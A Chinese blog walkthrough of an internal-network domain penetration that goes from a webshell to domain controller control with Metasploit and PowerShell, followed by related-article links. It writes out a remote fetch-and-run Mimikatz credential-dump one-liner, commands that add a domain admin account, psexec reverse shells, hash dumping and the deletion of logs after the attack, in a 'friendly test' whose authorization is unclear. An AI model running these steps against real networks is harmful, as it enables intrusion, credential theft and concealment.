本文作者:i春秋签约作家——shuteer

前言

内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里。于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求。今天小菜我本着所有师傅们无私分享的精神,特将三年内求师傅,求妹子,求神器所得,经过整理后,关键的知识点写出来。相关知识点总结如下:

  • 免杀payload的生成,请使用Veil
  • msf在meterpreter下的提权尝试
  • msf在meterpreter下的bypassuac尝试
  • 内网渗透测试过程中的信息关联
  • meterpreter的路由添加以及相关扫描
  • Powershell在meterpreter下面的使用
  • Meterpreter的post模块使用
  • Msf的custom自己生成的payload的使用
  • 进程注入窃取令牌

其实重点不在于知识的多少,大家只需关注比较重点的连接点。分享为了方便大家以后一起交流,一起学习,一起进步。首先shell是别人给我的,也不是这里介绍的重点,所以在此忽略。

渗透测试的环境详细如下:

A 堡垒机(webshell所在机器):windows server 2012

B 堡垒机:windows 2008(powershell扫描机器)

C 堡垒机:有域管理进程的机器windows server 2012

D 堡垒机若干

第八步 Poershell获取域控管理员在线的机器

内网渗透测试不得不说到两大神器:msf和powershell,但是看大家基本上都是分开来使用的,或者说大家在一次渗透测试的过程中很少遇到,今天作为读者的你有福了。

首先来讲讲powershell的在内网渗透测试中不仅能扫,能爆,能转发,当然还能做更多的事情,一般使用到的模块有下面三个:

1 Empire据说是神器,也确实是神器,我没使用过,暂时不多说

2 PowerUp 据说提权神器,也确实是神器,我很少使用。也暂时不多说

3 PowerView 据说是域渗透神器,也确实是神器,我一直用,非常漂亮

来说说powershell的使用,其实也很简单,只是大家在用的过程中一般没有太多的注意,主要有三种方式来调用:

1 当然是下载到本地执行,详细使用方法如后面连接:powershell “IEX (New-Object
Net.WebClient).DownloadString(‘http://is.gd/oeoFuI‘); Invoke-Mimikatz
-DumpCreds”

2 第二种方式是把powershell文件上传到堡垒机本地执行, powershell.exe -exec
bypass -Command “& {Import-Module .\powerview.ps1;
Invoke-UserHunter}”

3 上传到对方本地,然后Import-Module导入,使用。

PowerView的所有模块使用其实很简单,直接调用方法,大家看看下面的图就知道了。如果你能看到这里开始你的powershell之旅,内网将开始变得简单。

废话讲了这么多,下面开始我们的实战,其实很简单,我真的想说很简单,简单到一句话搞定。Powerview中的Invoke-UserHunter是获取当前域管理员在线登录的机器。这次的旅程我们就用它来完成进一步的信息获取。详细如下图:

第九步 域控管理员权限的获取(windows2012权限)

在经过第八步之后,身为读者的你是不是感觉这次收获有一点点,内网域渗透测试再也不是那么一筹莫展了呢。神器过后还是神器,又见它windows server 2012,虽然域管理在线,但是我们的抓密码神器阳痿了,总不能修改注册表,等管理员再次登录吧。

目前来看看我们遇到的问题,通过powershell成功获取到相关的域控管理员在线的一台机器windows server 2012,并且用这台机器的权限,那么接下来我们去搞定域控。思路如下:

1 修改注册表等待域控管理员再次登录来抓取(黄花菜都会凉的)

2 通过PowerUp的进程来注入获取域权限(没使用过暂时放弃),当然此处也可以写类似外挂的功能注入进程获取权限

3 msf的令牌窃取功能(这个可以很容易实现)

知道思路,那么接下来就开始我们愉快的旅程吧。我要求师傅,求妹子,求神器,专业求到域控去:

1 同样使用ipc经典入侵手法,反弹meterpreter,

Getsysttem 权限

Ps 查看域管理所在的进程

Migrate pid注入进程

2 继续经典的IPC$到域控

Meterpreter下面shell

Net use \\域控ip\c$

Net time \\域控ip

Copy bat.bat \\域控ip\c$

At \\域控ip time c:\bat.bat(意料之外的错误,提示schtasks.exe,不熟)

3 通往成功的路不只有一条,添加域管账户

Net user demo demo /ad /domain

Net group “domain admins” demo /ad /domain

到了此刻,我们已经拥有域管权限了。详细的截图如下:

第十步 域控我来了(msf p**ec反弹shell)

一看时间,凌晨七点了,早上的太阳要升起来了。此时此刻你的心情是怎么样呢。该晨起跑步了吧。东方的太阳就要升起了,域控的权限也终于到了了。

先将思路,登录域控其实有很多方式的,下面我说一下我能知道的几种吧,相信大

家也大家也都知道的:

1 端口转发或者socks登录域控远程桌面

2 登录对方内网的一台电脑使用p**ec来反弹shell

3 使用msf的p**ec反弹meterpreter

反弹需要注意要用到的知识,我们这里采用的是pse**c来反弹meterpreter,其中涉及到的知识如下:

1 msf中p**ec模块的使用

2 cuestom模块的使用,配合meterpreter,在payload不免杀的情况下如何使用自己Veil生成的payload

详细的使用过程如下图:

第十一步 Meterpreter获取所有用户的hash

有了域的权限之后,如果我们还想进行深层次的控制,那么dumphash是必不可少的。首先来看看我们需要的知识:

1 msf有两个模块可以使用,一个是hashdump,此模块只能导出本地的hash,大家测试就可以知道了,另外一个是smart_hashdump,此模块可以用来导出域用户的hash.

2 powershell有可以直接导出的模块,大家自行尝试一下

3 wce,mimikatz等神器的使用

在这里我采用的是msf的smart_hashdump的模块。在此需要注意的是要想使使用此模块导出hash,必须要使用system的权限才行。详细的过程如下图:

第十二步 曲折的探索之路

这里是整理一下之前用到的一些技术,和走过的一些弯路。文档到这差不多算是完成了一个从webshell到域控的探索之路算是完成了,当然在这里我把过程中走的一些弯路还有不足点指出来,欢迎大家的指正,共同学习。

根据上面的图知道,我现在控制的Session一共有5个,其中有四个是必须要获取的,分别为session1,session2

session4,session5。其中session1为webshell反弹所获得,第二个session2是信息分析获取到的,,session4为获取域管理员所获取,session5为域。其中session3就是我所走过的弯路,浪费了时间。之后我们必须为了更好更快速有效的完成渗透测试,平时努力练剑。尽力做到不出剑则已,出剑则见血。

第十三步 我轻轻的来了,我又轻轻的走了,管理员,再见(清理)

作为一次比较成功的友情测试,我们必须要做到来无影,去无踪。所以收尾工作,也将悄悄展开。涉及到相关的知识点:

1 删除之前添加的域管理账号

2 删除所有的使用过程中的工具

3 删除自己所有的操作记录

4 关闭所有的meterpreter

在此过程中我们一共上传了两个文件,一个bar.bat,一个64位的mimikatz抓密码工具,直接删除即可。

总结

总结说点什么好呢。还是先喊口号吧——“求妹子,求师傅,求神器”。感谢三年多以来为我默默分享的师傅们,感谢妹子在我做这次友情测试的时候,她一直静静的陪在我这边,感谢这些年求来的各种神器,没有这些资源的支持,我将不会完成这次的友情测试。作为一名渗透测试爱好者,我们一直在努力的追求着心中那个美丽的梦想;作为一名程序员,我们就是想简单的coding。人生如此美好,大家何不联手,一起分享美好。

Metasploit域渗透测试全程实录(终结篇)的更多相关文章

  1. (一)走进Metasploit渗透测试框架

    渗透测试的流程 渗透测试是一种有目的性的,针对目标机构计算机系统安全的检测评估方法,渗透测试的主要目的是改善目标机构的安全性.渗透测试各个阶段的基本工作: 1.前期交互阶段 在这个阶段,渗透测试工程师 ...

  2. 《Metasploit渗透测试魔鬼训练营》第一章读书笔记

    第1章 魔鬼训练营--初识Metasploit 20135301 1.1 什么是渗透测试 1.1.1 渗透测试的起源与定义 如果大家对军事感兴趣,会知道各国军队每年都会组织一些军事演习来锻炼军队的攻防 ...

  3. 初识域渗透利器Empire

    Empire 是一款类似Metasploit 的渗透测试框架,基于python 编写,Empire是一个纯粹的PowerShell 后开发代理,建立在密码安全通信和灵活的架构上.Empire 实现了无 ...

  4. 用Python打造了一个渗透测试暴力探测器

    资源探测的作用 通过资源探测,我们可以在目标系统中发现文件.目录.活动.服务还有相关的参数,为下一步的行动提供信息参考. 一个开源的模糊测试数据库 https://github.com/fuzzdb- ...

  5. 内网域渗透之MS14-068复现(CVE-2014-6324)

    在做域渗透测试时,当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限.如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务 ...

  6. 内网域渗透之MS14-068复现

    在做域渗透测试时,当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限.如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务 ...

  7. metasploit渗透测试笔记(内网渗透篇)

    x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...

  8. chapter1 渗透测试与metasploit

    网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...

  9. Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter

    Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter 原文链接:http://www.xuanhun521.com/Blog/7fc11b7a-b6cb-4 ...

随机推荐

  1. Go Packages、Variables、functions

    [Go Packages.Variables.functions] 1.定义包名. 2.引入Package. 3.定义导出的变量.首字母必须大写. 4.函数.Notice that the type ...

  2. nyoj36-最长公共子序列 (LCS)

    http://acm.nyist.net/JudgeOnline/problem.php?pid=36 最长公共子序列 时间限制:3000 ms  |  内存限制:65535 KB 难度:3   描述 ...

  3. leetcode 121 股票买卖问题系列

    描述: 给一些列数字,表示每条股票的价格,如果可以买卖一次(不能同一天买和卖),求最大利益(即差最大). 其他三道问题是,如果能买卖无限次,买卖两次,买卖k次. 题一: 实质是求后面一个数减前一个数的 ...

  4. 怎么查这个文件在linux下的哪个目录

    因为要装pl/sql所以要查找tnsnames.ora文件..看看怎么查这个文件在linux下的哪个目录 find / -name tnsnames.ora 查到: /opt/app/oracle/p ...

  5. Linux gperf命令

    一.简介 GNU 的 gperf 工具是一种 "完美的" 散列函数,可以为用户提供的一组特定字符串生成散列表.散列函数和查找函数的 C/C++ 代码.通过本文学习如何使用 gper ...

  6. lua简单包装

    #ifndef _LUA_WRAPPER_ #define _LUA_WRAPPER_ extern "C" { #include "lua.h" #inclu ...

  7. 转载:字符串hash总结(hash是一门优雅的暴力!)

    转载自:远航休息栈 字符串Hash总结 Hash是什么意思呢?某度翻译告诉我们: hash 英[hæʃ] 美[hæʃ]n. 剁碎的食物; #号; 蔬菜肉丁;vt. 把…弄乱; 切碎; 反复推敲; 搞糟 ...

  8. div清空填充

    1.清空 $('#editPrize').empty(); 2.填充 var html= '<span>追加</span>'; $('#editPrize' ).append( ...

  9. mongodb的安装与启动(centos7)

    公司迁移mongodb,查了半天资料,各种考证,各种资讯,最后我选择很野蛮的直接把库和日志直接scp过来了....... 记录下如何安装和启动mongodb: 1.解压mongodb: [root@i ...

  10. 解决Error running 'index.jsp : Address localhost:1099 is already in use的方法

    晚上在idea中  启动服务器一次后 正常运行,但是改了注解配置后  报错,报错为Error running 'index.jsp : Address localhost:1099 is alread ...